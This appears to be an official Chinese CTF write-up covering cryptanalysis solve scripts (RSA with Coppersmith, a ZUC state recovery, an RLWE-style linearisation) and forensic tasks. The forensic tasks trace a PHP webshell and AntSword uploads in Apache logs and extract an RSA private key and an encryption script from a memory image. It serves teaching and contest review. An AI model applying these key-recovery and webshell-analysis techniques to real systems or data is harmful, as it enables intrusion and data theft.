6小时激战,18次一血争夺!战队比拼互不相让,比赛如火如荼!
为帮助各位选手更好的复盘,组委会特别发布本届大赛初赛的官方Write Up供大家学习和交流!
CRYPTO
CRYPTO
已悟
-
解题步骤
1. 输入正确的密码即可获得flag, 已知:密码由可见字符组成,长度未知。若输入错误会返回一个列表。
2. 分析返回的列表可知是通过python的`line_profiler` 库生成的,该库一般用于测试代码的性能,而返回的列表正好是对`login`函数进行性能测试的结果
3. 注意到在`check_password` 函数中关于返回的列表有两种返回情况,如果`pro`为True则会返回`(行号,执行次数,所耗时间)` ,否则返回`(行号,所耗时间)`。而由于误差,所以基本不可能单通过所耗时间来判断出`smoke_key`的值
4. 想要升级到pro版本,接下来就需要分析`license.py`了。在`RicKV`类在初始华的时候会接受一个用户输入的种子用来初始化S盒,同时check函数会接受一个license,如果满足在一些列运算之后结果全为`x00`字节则返回True
5. 分析加密部分可以发现有很多很奇怪的地方,比如`subkey`生成全是由**0和f**组成的数组,那么在`flip` 函数中,如果输入的字节是在模16下是互补的,抛开`sub`函数不谈,其实就是在一直不停地在取反或者保持不变。
6. 那么接下来的就是控制sub函数的返回值了,这个返回值和S1数组有关,如果输入的种子使得S1种存在$S[i]=j,S[j]=i且 i+j=f$ 那么只需要控制输入内容每个字都为$i$或$j$即可,那么它们在进行异或运算之后只有可能成为$0或f$
获取种子:
```python
for key in range(10*100000):
S1 = [i for i in range(16)]
x = hashlib.sha256(str(key).encode("utf-8")).digest()
random.seed(x)
random.shuffle(S1)
for i in range(16):
id = S1[i]
tmp = S1.index(id)
if tmp == S1[id] and S1[id]+id == 15:
print(S1[id],id)
print(key)
print(S1)
exit(0)
```
7. 在check的时候会每8位为一组和前一轮进行异或并`flip`后再异或,那么这里对两组16字节的license进行爆破即可
8. 获取到license之后,先通过是否执行到判断字节正确的代码来得到`smoke_key`的长度,通过每次输入密码的hits编写脚本爆破即可获取到flag
CRYPTO
预制菜
-
解题思路
1. 题目给出了由zuc算法加密的一段密文和明文,需要我们推导出密钥和iv
2. 通过搜索可以找到[SNOW3G 与ZUC 流密码的猜测决定攻击](https://jos.org.cn/jos/article/abstract/4287)
3. 可以发现给出的部分参数均和文中的参数符合,同时对文章中的内容进行了一定的扩展和延申
4. 按照文章中的方式还原出lfsr初始状态,而lfsr的初始状态是通过密钥和偏移向量进行计算的,逆向计算即可得到key和iv
详细过程见exp
CRYPTO
matrixRSA
-
解题步骤
1、分析题目,题目是一个rsa题目,先将flag转化为矩阵,然后进行矩阵的幂运算得到密文C,看加密过程是一个典型的RSA题目。
根据论文https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf 可以知道如何求解m。
2、我们在求解m的前提是需要知道p和q,题目泄露了p的高位。我们可以使用coppersmith进行攻击,得到p和q。以下是sage代码
```python
from Crypto.Util.number import *
p0 = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
e = 65537
kbits = 100
PR.<x> = PolynomialRing(Zmod(n))
f = p0*2^kbits+x
f = f.monic()
res = f.small_roots(X=2^kbits,beta=0.3)
p = p0*2^kbits + int(res[0])
q = n // p
assert p*q == n
```
3、得到了p和q之后,根据论文的结论,只要计算gp和gq,生成g就可以得到其明文m。g就理解成为是p和q的欧拉函数。所以最终的sage解密代码如下:
```python
from Crypto.Util.number import *
p0 =
97075296687215080948787543836368130587614075289501890137893
15732447048631740849315894253576415843631107370002912949379
757275
n =
13229877767208554709651108726625506628550213502012409390045
21382629931553817668164249558497961680592043793250755680944
31259877923353664926875986223020472585645919414821322880213
29918815742762280414099689868556407548475491833967009980618
68739745941391823248846200187809436301967547369728050360387
98946726414009
C = Matrix(Zmod(n),[
[1307009529890143114344340280988104120892947282701567056183
26733322297465714495704072159530618655340096705383710304658
04499114966206065774593309047308277542581264130096447254360
54603606406759494478372084497948305781849685285473666081800
85787382376536622136035364815331037493098283462540849880674
541138443271941,7110877142128169106414102065910622475023641
26359145701668930313188600277280934024533059863613305275635
06168063047627979831630830003190075818824767924892107148560
04872515558735368311919590199146546447819604917306009756182
18770610155877048030064991539028559032864560237266382477586
65778434728734461065079337757,67999998657112350704927993584
78314657518209618502011583618854459046620568844274103962238
25768995878579724633379002000380212571646409872813084711002
97698062626107380871262596623736773815445544153508352926374
27233615455391620432025769706862706323606052072537672752860
4938949588845448940836430120015498687885615]
,
[ 23893343854815011808020457237095285782125931083991537368
66636865308909653922329756733911150296829591474542328607063
83695172075547707933049946391550838188592083620573940044195
65231389473766857235749279110546079776040193183912062870294
57947281558833304756191528018952936747439270955497144697846
8118280633281993, 971132382926982975151917775591516440265
86936686318684993839452036271971715084413322119072784732767
13066275283973856513580205808517918096017699122954464305556
79530087400562700146429776041389707404408066594180258868092
64300307152997132414423133009204631459033990541239679149688
94345491958980945927764454159601, 449045079759552755788581
25671789564568591470104141872573541481508697254621798834910
26301267634620485027874473279621174261553101993108569542000
05826271448719960188500989584177509181779913754891065315118
94991744745328626887250694950153424439172667977623425955725
695498585224383607063387876414273539268016177401]
,
[ 678057329989350984462556725004074418018380562846357011478
53683333480924477835278030145327818330916280792499177503535
61831062454640053657392472983747834968000736878130680536362
11965733139030803155139524155353690166208737654935311885969
85587834408434835281527678166509365418905214174034794683785
063802543354572, 13486048723056269216825615499052563411132
89270272763483328026992388290867694441862490232573761994564
70931903979198286237882456443330363400842544905422923570449
74139884304715033710988658109160936809398722070125690919829
90664227337798202112016070234410399831587516603884994242638
2506293976662337161520494820727, 9593269073869702451954628
91359925127768778847414584392428876030217924095754481925084
56813215486904392440772808083658410285088451086298418303987
62863415043172579490465625045331495012643326061394981943263
33225998790728058349514784660093433977287112054986029277529
17834774516505262381463414617797291857077444676]
])
e = 65537
kbits = 100
PR.<x> = PolynomialRing(Zmod(n))
f = p0*2^kbits+x
f = f.monic()
res = f.small_roots(X=2^kbits,beta=0.3)
p = p0*2^kbits + int(res[0])
q = n // p
assert p*q == n
gp = (p^2-1)*(p^2-p)
gq = (q^2-1)*(q^2-q)
g =gp*gq
d = inverse_mod(e,g)
M= C^d
flag = ''
for i in range(3):
for j in range(3):
flag+=(long_to_bytes(int(M[i,j]))).decode()
print(flag)
```
CRYPTO
New Year Ring4
-
题意梳理
1.题目先生成一个20bit的素数p,之后基于如下商环生成加密数据:
$$
PRq = frac{Z_p[x]}{f}
$$
其中`f = PR(list(b"DASCTF_XHLJ2025"))`,记`d = f.degree()=14`,之后生成如下数据:
+ LCG的参数$a,b$
+ 一个长为4的秘密列表seed
+ 一个长为d的秘密列表secret,并将其转化为$PRq$下的多项式,记为$s$
所有数据均为模p下的随机数,并且p并不知道。
2.之后进行`ord("🚩") % sum(list(map(ord, "flag"))) = 351`轮加密,每一轮加密为:
+ 生成一个$PRq$下的随机多项式$A_i$
+ 生成一个长为d的随机列表,其中每个值均来自于seed,并将其转化为$PRq$下的多项式,记为$e_i$
+ 计算$B_i = A_is + e_i$
+ seed中每个元素均进行LCG迭代
3.给出所有的$A_i, B_i$以及LCG的参数$a$,需要解出:
+ LCG的参数$b$
+ 迭代到最后的seed
+ 秘密列表secret
用这些数据计算`[b]+seed+secret`的md5值,从而解AES得到flag。
-
题目分析
题目主要问题在于:
1.作为基域模数的p并不知道
2.每一次加密对应的$A_i, B_i$似乎都是RLWE的样本,然而:
+ $s$不是短向量,而是模q下的随机向量
+ $e_i$也不是短向量,而是在指定范围内LCG迭代得到的随机向量
所以用格求解是不可能的,需要寻找其他办法。
-
题目求解
1.首先肯定要恢复p才能进行域运算,而p仅有20bit,所以即使是最朴素的爆破,也仅需要爆破所有20bit的素数即可。
然而,实际上是不需要把所有20bit的素数都看作可能的p,去进行后面的求解步骤的,这是因为我们有A、B列表。由于A、B列表都是模p下的值且有一定的样本数量,所以:
+ A、B中的值一定全部小于p
+ A、B中的最大值应该很接近p
所以可以取最大值作为基准,向后nextprime即可,一般来说nextprime次数就在10次以内,题目对应的数据为4次。
2.有了p之后需要考虑如何求解这个系统,而这个系统的显著特点在于:
+ 每一轮加密中,都是相同的$s$与不同的随机多项式$A_i$做乘法
+ 每一轮加密中,$e_i$都是在确定的4个值中选择的,这4个值具体是多少由初始seed以及轮次唯一决定
而既然格解决不了就要考虑解线性方程,因此要先找到题目每一轮次对应的等式究竟是多少。
3.我们可以将seed看作是四个变量,记为$e_1,e_2,e_3,e_4$;同时我们还有秘密多项式$s$不知道,同样把他的各项系数作为变量,记为$s_1,s_2,...,s_{d}$。
此外还有初始LCG的参数$b$也需要设置一个变量,此时我们总共有5+d个变量,我们需要找到有关于这些变量的等式并想办法求解。
4.商环下的乘法是可以用矩阵表示的,因此我们可以将每一轮加密的多项式计算$B_i = A_is + e_i$转换成对应的矩阵-向量乘法形式:
$$
textbf{b}_i = textbf{s}textbf{A}_i + textbf{e}_i
$$
展开一下更为直观:
$$
(b_1, b_2, ... ,b_{d})_i =
(s_1, s_2, ... ,s_{d})
left(begin{matrix}
a_{11} &a_{12}& cdots &a_{1d}\
a_{21} &a_{22}& cdots &a_{2d}\
&& ddots &\
a_{d1} &a_{d2}& cdots &a_{dd}\
end{matrix}
right)_i
+
(e_1, e_2, ... ,e_{d})_i
$$
简单移下项:
$$
(s_1, s_2, ... ,s_{d})
left(begin{matrix}
a_{11} &a_{12}& cdots &a_{1d}\
a_{21} &a_{22}& cdots &a_{2d}\
&& ddots &\
a_{d1} &a_{d2}& cdots &a_{dd}\
end{matrix}
right)_i
+
(e_1, e_2, ... ,e_{d})_i
-(b_1, b_2, ... ,b_{d})_i
= 0
$$
那么对于每一个位置的分量,我们可以写出一个关于向量$textbf{s}$的线性方程,比如:
$$
({color{red}s_1, s_2, ... ,s_{d}})
left(begin{matrix}
{color{red}a_{11}} &a_{12}& cdots &a_{1d}\
{color{red}a_{21}} &a_{22}& cdots &a_{2d}\
&& ddots &\
{color{red}a_{d1}} &a_{d2}& cdots &a_{dd}\
end{matrix}
right)_i
+
({color{red}e_1}, e_2, ... ,e_{d})_i
-({color{red}b_1}, b_2, ... ,b_{d})_i
= 0
$$
也就是:
$$
b_1 - sum_{i=1}^{d}s_ia_{i1} - e_1 = 0
$$
而我们有d个分量,所以一次交互我们可以得到d个上述方程,他们关于$s$和$e,d$都是线性的。
5.LCG的迭代是好处理的,把seed看做是一个向量$textbf{e}$,那么每一轮次$e_i$选择范围就是:
$$
i=0, quad textbf{e}
$$
$$
i=1, quad atextbf{e}+b
$$
$$
i=2, quad a(atextbf{e}+b) + b = a^2textbf{e} + (a+1)b
$$
$$
cdots
$$
$$
i=k, quad a^ktextbf{e} + sum_{j=0}^{k-1}(a^j)b
$$
所以在$a$已知的情况下,$e,b$变量的迭代都是线性的,不会引入新的高次项变量。
6.如此一来,351次交互可以拿到351*d个方程,而变量只有5+d个,一切似乎都很明朗。
然而我们需要注意一个问题,每一个线性等式里的e并不真正等于我们最开始设置的变量,这是因为:
+ 每一次加密,seed都会做LCG递推,因此本轮的e都是上一轮的e做LCG递推的结果
+ 我们并不知道每个分量究竟是多少,我们只知道e会在4个确定的值中随机选择
这是什么意思呢,比如对于第一轮第一个分量的加密,要对应上之前设置的5+d个变量,那么应该是:
$$
b_1 - sum_{i=1}^{d}s_ia_{i1} - e_1 = 0
$$
$$
or quad b_1 - sum_{i=1}^{d}s_ia_{i1} - e_2 = 0
$$
$$
or quad b_1 - sum_{i=1}^{d}s_ia_{i1} - e_3 = 0
$$
$$
or quad b_1 - sum_{i=1}^{d}s_ia_{i1} - e_4 = 0
$$
此处的$e_1,e_2,e_3,e_4$是设置的变量名,对应的也就是初始seed里的四个值,而不是向量$(e_1, e_2, ... ,e_{d})$的分量,要注意区别。
7.我们只知道,会成立的线性等式会是4个中的一个,但是具体是哪一个似乎无从得知,然而,我们可以舍弃这种线性,而构造出一个恒成立的4次多项式:
$$
(b_1 - sum_{i=1}^{d}s_ia_{i1} - e_1)(b_1 - sum_{i=1}^{d}s_ia_{i1} - e_2)(b_1 - sum_{i=1}^{d}s_ia_{i1} - e_3)(b_1 - sum_{i=1}^{d}s_ia_{i1} - e_4) = 0
$$
由于4个中一定“有且仅有一个成立”,所以总会有一个等于0,因此这个4次方程是恒成立的,此时我们就得到了351*d个由我们设置的5+d个变量组成的4次方程。
但是高次多变量多项式求解是不容易的,而简单的想法是做一个线性化,也就是把所有等式展开后,我们能得到如下项:
```python
[s0^4, s0^3*s1, s0^2*s1^2, ... s0, s1, s2, s3, s4, s5, s6, s7, s8, s9, s10, s11, s12, s13, s14, e0, e1, e2, e3, b]
```
把这些新的项看作是新的变量,那么我们就得到了关于这些新变量的线性等式,此时解这样的线性方程就可以解出所有项来。
8.然后还有最后一个问题,上面的项总共有8020项,然而我们拥有的等式只有`351*d=4914`个,是不足以让我们解线性方程得到唯一解的。
此时需要注意$e_1,e_2,e_3,e_4$其实内部顺序并不重要,并且只要我们能求解出$s$,那么求解$e$的集合仅需要简单代入即可,而爆破$4!$就可以恢复他的顺序。
因此我们完全可以少设置3个变量,将$e_1,e_2,e_3,e_4$合并为$e$,那么我们构建的线性方程就是:
$$
(b_1 - sum_{i=1}^{d}s_ia_{i1} - e)^4 = 0
$$
此时项数减小到了4844,小于等式数量4914,因此就可以求得唯一解了。
> 取消内部置换,这个举一个简单的例子就很好说明,比如已知$x$是$e_1,e_2$中的其中一个值,并且$x,e_1,e_2$都不知道,那么可以将他们视为三个变量,建一个二次方程为:
> $$
> (x-e_1)(x-e_2) = 0
> $$
> 也就是:
> $$
> x^2 - e_1x - e_2x + e_1e_2 = 0
> $$
> 此时得到的对应线性方程有4项,需要四个方程来解出$x^2, e_1x, e_2x, e_1e_2$
>
> 然而,如果建立:
> $$
> (x-e)^2 = 0
> $$
> 也就是:
> $$
> x^2 - 2ex + e^2 = 0
> $$
> 此时就只有三项,三个方程就可以解出$x^2, ex, e^2$,已经满足了我们求解$x$的需要。而之所以项变少了是因为:
> $$
> e_1 + e_2 rightarrow 2e
> $$
>
> $$
> e_1e_2 rightarrow e^2
> $$
>
> 这就是取消内部置换的含义
9.求出$s$和$b$之后,代入最后一轮加密并迭代一次,就可以求出最终用于加密的$seed$的集合。爆破$4!$的顺序其中有一个就可以成功解出flag了。
DS
DS
DSASignatureData
-
解题步骤
附件解压出来有 data.pcapng、data-sign.csv、public 文件夹这些。
data-sign.csv列名为 userid,name_signature,idcard_signature,phone_signature。很明显的 data-sign.csv 里的值就是对个人信息数据进行签名后的结果。
但是根据题目描述所说,数据可能在传输过程中被篡改过,因此需要对 data.pcapng 进行分析,提取个人信息,并对其中的每一条个人信息数据进行签名验证,验证数据是否被篡改。
在流量中,其中 userid 为 GET 传参,其余 name、idcard、phone 是 POST 传的 json 格式的内容
首先获取所有个人数据
```python
import pyshark
import json
import csv
csv_headers = ['userid', 'name', 'idcard', 'phone']
capture = pyshark.FileCapture('data.pcapng', display_filter='http')
# 打开 CSV 文件并写入数据
with open('data1.csv', mode='w', newline='', encoding='utf-8') as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=csv_headers)
writer.writeheader()
for packet in capture:
if 'HTTP' in packet: # 仅处理HTTP请求包
http_layer = packet.http
# print(http_layer)
# 检查是否为POST请求且包含请求体
if hasattr(http_layer, 'request_method') and http_layer.request_method == 'POST':
# 提取URL中的userid
url = http_layer.request_uri
userid = url.split('userid=')[1].split(' ')[0] if 'userid=' in url else None
# 提取POST数据
if hasattr(http_layer, 'file_data'):
post_data_hex = http_layer.file_data
post_data = bytes.fromhex(post_data_hex.replace(":", "")).decode()
# print(post_data)
json_data = json.loads(post_data)
# 提取name, idcard, phone
name = json_data.get('name', None)
idcard = json_data.get('idcard', None)
phone = json_data.get('phone', None)
# 写入CSV文件
writer.writerow({
'userid': userid,
'name': name,
'idcard': idcard,
'phone': phone
})
```
运行脚本,生成 data1.csv 文件,结果如下:
由于在流量里数据是乱序传递的,且有重复项,因此对 data1.csv 进行排序并去重:
```python
import csv
with open('data1.csv', mode='r', encoding='utf-8') as infile:
reader = csv.DictReader(infile)
data = list(reader)
# 使用集合去重
unique_data = { (row['userid'], row['name'], row['idcard'], row['phone']) for row in data }
# 将集合转换为列表并按userid排序
sorted_data = sorted(unique_data, key=lambda x: int(x[0]))
# 写入新的 CSV 文件
with open('data2.csv', mode='w', newline='', encoding='utf-8') as outfile:
writer = csv.writer(outfile)
writer.writerow(['userid', 'name', 'idcard', 'phone'])
for row in sorted_data:
writer.writerow(row)
```
运行脚本,生成 data2.csv,结果如下:
正好 2000 条个人数据,和 data-sign.csv 一致。
由于签名用的是每个个人用户自己的私钥进行的签名,而现在有了各自的公钥文件(即 public 文件夹里,文件名格式为 public-XXXX.pem,其中 XXXX 为 userid,左侧补零至四位数)
题目描述中已经说明了签名算法采用 DSA,哈希算法采用 SHA256,因此 exp 如下:
```python
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import csv
import base64
with open('data-sign.csv', 'r', encoding='utf-8') as f:
reader = csv.reader(f)
header = next(reader)
sign_data = {row[0]: row for row in reader}
with open('data2.csv', 'r', encoding='utf-8') as f:
reader = csv.reader(f)
header = next(reader)
all_data = list(reader)
# 保存验证结果
with open('data-unmodify.csv', 'w', encoding='utf-8', newline='') as f_undo,
open('data-modify.csv', 'w', encoding='utf-8', newline='') as f_do:
writer_undo = csv.writer(f_undo)
writer_do = csv.writer(f_do)
writer_undo.writerow(header)
writer_do.writerow(header)
for row in all_data:
userid, name, idcard, phone = row
# Load DSA public key
public_key_path = f'public/public-{str(userid).zfill(4)}.pem'
with open(public_key_path, 'r') as f:
public_key = DSA.import_key(f.read())
# Get signatures from data-sign.csv
sign_row = sign_data.get(userid)
if not sign_row:
writer_do.writerow(row)
continue
_, name_signature_base64, idcard_signature_base64, phone_signature_base64 = sign_row
# Verify name
name_hash = SHA256.new(name.encode())
name_signature = base64.b64decode(name_signature_base64)
try:
DSS.new(public_key, 'fips-186-3').verify(name_hash, name_signature)
name_verified = True
except (ValueError, TypeError):
name_verified = False
# Verify idcard
idcard_hash = SHA256.new(idcard.encode())
idcard_signature = base64.b64decode(idcard_signature_base64)
try:
DSS.new(public_key, 'fips-186-3').verify(idcard_hash, idcard_signature)
idcard_verified = True
except (ValueError, TypeError):
idcard_verified = False
# Verify phone
phone_hash = SHA256.new(phone.encode())
phone_signature = base64.b64decode(phone_signature_base64)
try:
DSS.new(public_key, 'fips-186-3').verify(phone_hash, phone_signature)
phone_verified = True
except (ValueError, TypeError):
phone_verified = False
if name_verified and idcard_verified and phone_verified:
writer_undo.writerow(row)
else:
writer_do.writerow(row)
```
运行脚本生成 data-unmodify.csv、data-modify.csv 文件,其中 data-modify.csv 文件即为被篡改过的文件
依据题目要求,找出被篡改过的个人信息数据并保存到新的 csv 文件中(文件编码 utf-8,文件格式和 data.csv 保持一致),并将该文件上传至该题的校验平台(在该校验平台里可以下载该题的示例文件 example.csv,可作为该题的格式参考),校验达标即可拿到 flag。
也就是上传 data-modify.csv 即可拿到 flag:
DS
easydatalog
-
解题步骤
附件是 access.log 和 error.log 日志,其中在 access.log 中没什么太多内容,就是猜测和上传有关
接着看 error.log 文件,可以看到 `dumpio:trace7`,这是 apache 的 `mod_dumpio.so` 模块,这个模块可以用来记录输入和输出的数据。上传的数据会被记录在 `[readbytes-blocking]` 里,首先可以很明显看到上传了 1.php 内容是一句话木马,也就是在 access.log 中后续的都是对该木马的利用
接着往下看,对该木马的利用采用的应该是蚁剑webshell管理工具
再往后看,就是利用蚁剑的上传功能上传了一些文件,从日志中可以知道,其实就是上传了一个 jpg,一个 zip 文件
我们可以先对 error.log 进行正则匹配,将请求的内容全都保存下来,然后对匹配到的 jpg、zip 进行保存:
```python
import re
with open('error.log', 'r') as f:
content_all = f.read()
# 匹配出具有内容的一部分日志
contents = re.findall(r'dumpio_in [readbytes-blocking](.*?)dumpio_outn', content_all, re.S)
# print(contents)
with open('content_post.txt', 'w') as f:
for c in contents:
# print(c)
# 匹配出上传的内容
r_list = re.findall(r'dumpio_in (data-HEAP): (.*?)n', c, re.S)
# print(r_list)
# 去除匹配到的带有 bytes 的内容
content = ''
for r in r_list:
if not re.findall(r'd* bytes', r):
content += r
# print(content)
f.write(content + 'nnn')
# 分析 content_post.txt 文件,利用木马上传了俩文件,一个jpg、一个zip
with open('content_post.txt', 'r') as f:
content_all = f.read()
data_jpg = re.findall('(FFD8.*?FFD9)&', content_all, re.S)
with open('1.jpg', 'wb') as f:
f.write(bytes.fromhex(data_jpg[0]))
data_zip = re.findall('(504B0304.*?)&', content_all, re.S)
with open('1.zip', 'wb') as f:
f.write(bytes.fromhex(data_zip[0]))
```
运行脚本的生成的 1.jpg、1.zip 文件即为上传的文件。其中 1.zip 里有个 csv 文件,但是解压需要密码,怀疑密码就在 1.jpg 里,或者根据蚁剑的特征,解一下上传图片对应的参数内容,可知图片名称为 password.jpg
```bash
# 蚁剑特征,从第二个字符开始解密
b1709fecc8bc5e=doL3Zhci93d3cvaHRtbC91cGxvYWQvcGFzc3dvcmQuanBn
```
对图片进行尝试,用盲水印分析得到密码: dataPersonPass123987
用该密码解压压缩包得到 data.csv,其中就有“张三”的身份证号和手机号
根据题目描述,提交的 flag 为 30601319731003117X_79159498824。
DS
easyrawencode
-
解题步骤
附件解压出来是一个内存镜像 easyrawencode.raw
```bash
# 获取镜像基本信息,拿到 --profile=Win7SP1x64
volatility -f easyrawencode.raw imageinfo
# 查看进程
volatility -f easyrawencode.raw --profile=Win7SP1x64 pstree
```
发现有 cmd 命令、记事本,7z 压缩一些可能有用的信息。
首先查看命令相关,cmdscan 命令显示不全,得用 consoles 命令来显示详细的内容
```bash
volatility -f easyrawencode.raw --profile=Win7SP1x64 cmdscan
volatility -f easyrawencode.raw --profile=Win7SP1x64 consoles
```
使用 consoles 可以看到具体的操作,其中运行了 hack.py 的输出内容
```
20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466
308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52
329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501c
ce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a
8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2
964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8a
ff0242e21c0ee7ffee2da20ed9434334
d919c229aab6535efa09a52c589c8f47
5b204675b1b173c32c04b0b8a100ee29
```
很明显在 C:UsersAdministratorrsa 目录下有一些重要的东西,使用 filescan 命令查看 rsa 目录相关的文件
```bash
volatility -f easyrawencode.raw --profile=Win7SP1x64 filescan | grep -i rsa
```
使用 dumpfiles 命令将这三个文件拉取下来,并直接进行改名操作
```bash
volatility -f easyrawencode.raw --profile=Win7SP1x64 dumpfiles -Q 0x00000000061f5630 -D .
mv file.None.0xfffffa800f08b510.dat private.pem
volatility -f easyrawencode.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003dfdf070 -D .
mv file.None.0xfffffa800cee0ad0.dat hack.py
volatility -f easyrawencode.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003fd5bf20 -D .
mv file.None.0xfffffa800da29f10.dat encrypted_data.zip
```
解压 encrypted_data.zip 得到 encrypted_data.bin 文件。
其中 private.pem 内容为
```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAkneyJiNWRK/CYoSUOVpEqARdZF7XYkeIl83CQXumaerjoqsh
fZezq6oLiaKBj3ljmR2HzwYAEBDVQCc4QE7ZcLfQ11ra8/l8K451ax0hGI4bnPoP
iS7ticYCO9U5PygwxF4OK6sscf8rD1XauVzY/i32sytvSeh4uWWWJFS55klI4AmA
LeBa2+KcOiXIJoSmeU5JRKq+u6JKJheCli6FY/ouEsgpI0vIdNBnpFQLNX7xo/Kh
JoysBN/pV0baJ7CY/9mZfdLo+O99NWHkfoGouaWMzgy8xPrXyHI8Tw3E8mm1k2q2
jzYrfoTBrfAlHNNvD3ucIvJXdpl0vg/FoTgcMQIDAQABAoIBAB7XQOYqcS8f4jq7
53knIodNefvZQ5mQbfjnDNUcjAdH/DxDtBbdw2mtceX+l7DmEtyKHQ9w2EEJxlmO
mJfj8oG7VuiN20ZdvXFvexZ9qPsiazqT5gMRJFfrH4vJQ1di51fl5S55Se/MFt1R
CvAWlqN4+rYx+mpR3t/M/f8y7v0IFlbC9fh6C6Qb7NQIvZUiqP0bzolCQQUEjrX7
7/qTfiozUDttuBJtdyuRnYc1jx43Pw4hsH76Fdgp/BRbq8ejbW88CyQUSKrPgEf7
X7JIms1+RiAytaKdq4ovk8H27fd6XIMLLL7Un8cpBWZ/5CrrMgsTMoxub2gYfisy
PM/N2kUCgYEAvl2/CGRq7Gx4aNgsXGB9bQznQfK2W6ptMypRm+3GiJYcbO9qYS1X
eRd+PA3oN3dv9ynVsmuC2gOYHcx40LTc2uv7l6BVA5XF34iXihMKBjj1FMBdncrD
YIfmBjsJAsQPFh7Jf6DxiFUTtFZbGaxvp1cGvUKI/Ooggqn3kzZMtz0CgYEAxPdV
T7Qy60Re2m+OmhC89R0LeMb29w2ihwuHiHSOd5vNTQgnIAGJ7VlwQh8Ac7/eqDuv
JR6GtGqDtxLzeGt9r/nNqoZHrj4ZW92KLVjZst9HnuxPIuK5sP63k00Xk0DUU8me
MwVgObP+cno8HMh8lWjglcYVT6Y/EhgYESLjKAUCgYEAohMEkuuT0Shkt7bcxeVs
xAyJU6+GLLMD99ze0Gf3cNCE8QZBRu0onTMwSYb5n0ez7vYSN66rIFyRBUXR0rc5
lbX2ZVifKMc6SZ9sjaS6EyQpHPrOeYppH2V0pPdcK5uq0IVzvpLTMORmO1KOi2Qx
R4KjfT0JjnLzLOvymcZQOG0CgYAT/THYO+Zq/+5MZsPnGMnEamUupaqMmgKjh+UC
USngM5ybM7ecxOs1fj0pSLIoDRHQqvX0Y2uyRZkGbFLvJqGDyWs44hXGNiEmtI4A
WiMFxykilMLXPIEx2DfTKCC7XfnuYui+Ls58LKsm/Qa6uRIDq7gXGxowkiOWd4GB
w7Of7QKBgQCCQG+iNPF06zn94Iasqz0ELv/iLUoIM2WSTmVIIjlCpP3khJssaCQk
4wyx+0G+CoOILbDnl+mtNWRR+a09LCNjyedEl+7zsxZUCmFH4jljBoXAspw31Mwm
NXeRkCLNVmoZYAEuJ47SGV5ImKx05fJGV3d8M557pzYsKOzhyMhYMg==
-----END RSA PRIVATE KEY-----
```
hack.py 内容如下
```python
import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
hackkey = os.getenv('hackkey')
if not hackkey:
raise ValueError("Environment variable 'hackkey' is not set")
with open('private.pem', 'r') as f:
private_key = RSA.import_key(f.read())
public_key = private_key.publickey().export_key()
aes_key = hashlib.sha256(hackkey.encode()).digest()
with open('data.csv', 'rb') as f:
data = f.read()
cipher_aes = AES.new(aes_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))
enc_aes_key = cipher_rsa.encrypt(aes_key)
with open('encrypted_data.bin', 'wb') as f:
f.write(ciphertext)
print(enc_aes_key.hex())
print(cipher_aes.nonce.hex())
print(tag.hex())
```
有一个 hackkey 是从环境变量里来的:
```bash
volatility -f easyrawencode.raw --profile=Win7SP1x64 envars | grep -i hackkey
```
可得到 `hackkey=4etz0hHbU3TgKqduFL`。
在 hack.py 中 hackkey 的哈希值作为 AES 的密钥,然后使用 aes 的 EAX 加密认证模式对信息进行加密,并生成一个消息认证码(MAC)。其中 `ciphertext` 是加密后的数据,`tag`(消息认证码)用于验证数据的完整性和真实性。最后用 rsa 对 aes 秘钥进行加密。所以总体是一个 rsa 嵌套 aes 加密的一个流程。不过其实只要能得到 aes_key 即可,所以就是直接得到环境变量里的 hackkey 并对其计算 sha256 就是 AES 的密钥,或者解密 rsa 也能得到 aes_key,两者知道其一即可。
其中以下三个变量的值即之前通过 consoles 命令得到的输出内容
```python
print(enc_aes_key.hex())
print(cipher_aes.nonce.hex())
print(tag.hex())
```
知道了加密后,写对应解密即可
```python
import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
hackkey = '4etz0hHbU3TgKqduFL'
with open('private.pem', 'rb') as f:
private_key = RSA.import_key(f.read())
with open('encrypted_data.bin', 'rb') as f:
ciphertext = f.read()
enc_aes_key = bytes.fromhex('20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334')
nonce = bytes.fromhex('d919c229aab6535efa09a52c589c8f47')
tag = bytes.fromhex('5b204675b1b173c32c04b0b8a100ee29')
cipher_rsa = PKCS1_OAEP.new(private_key)
aes_key = cipher_rsa.decrypt(enc_aes_key)
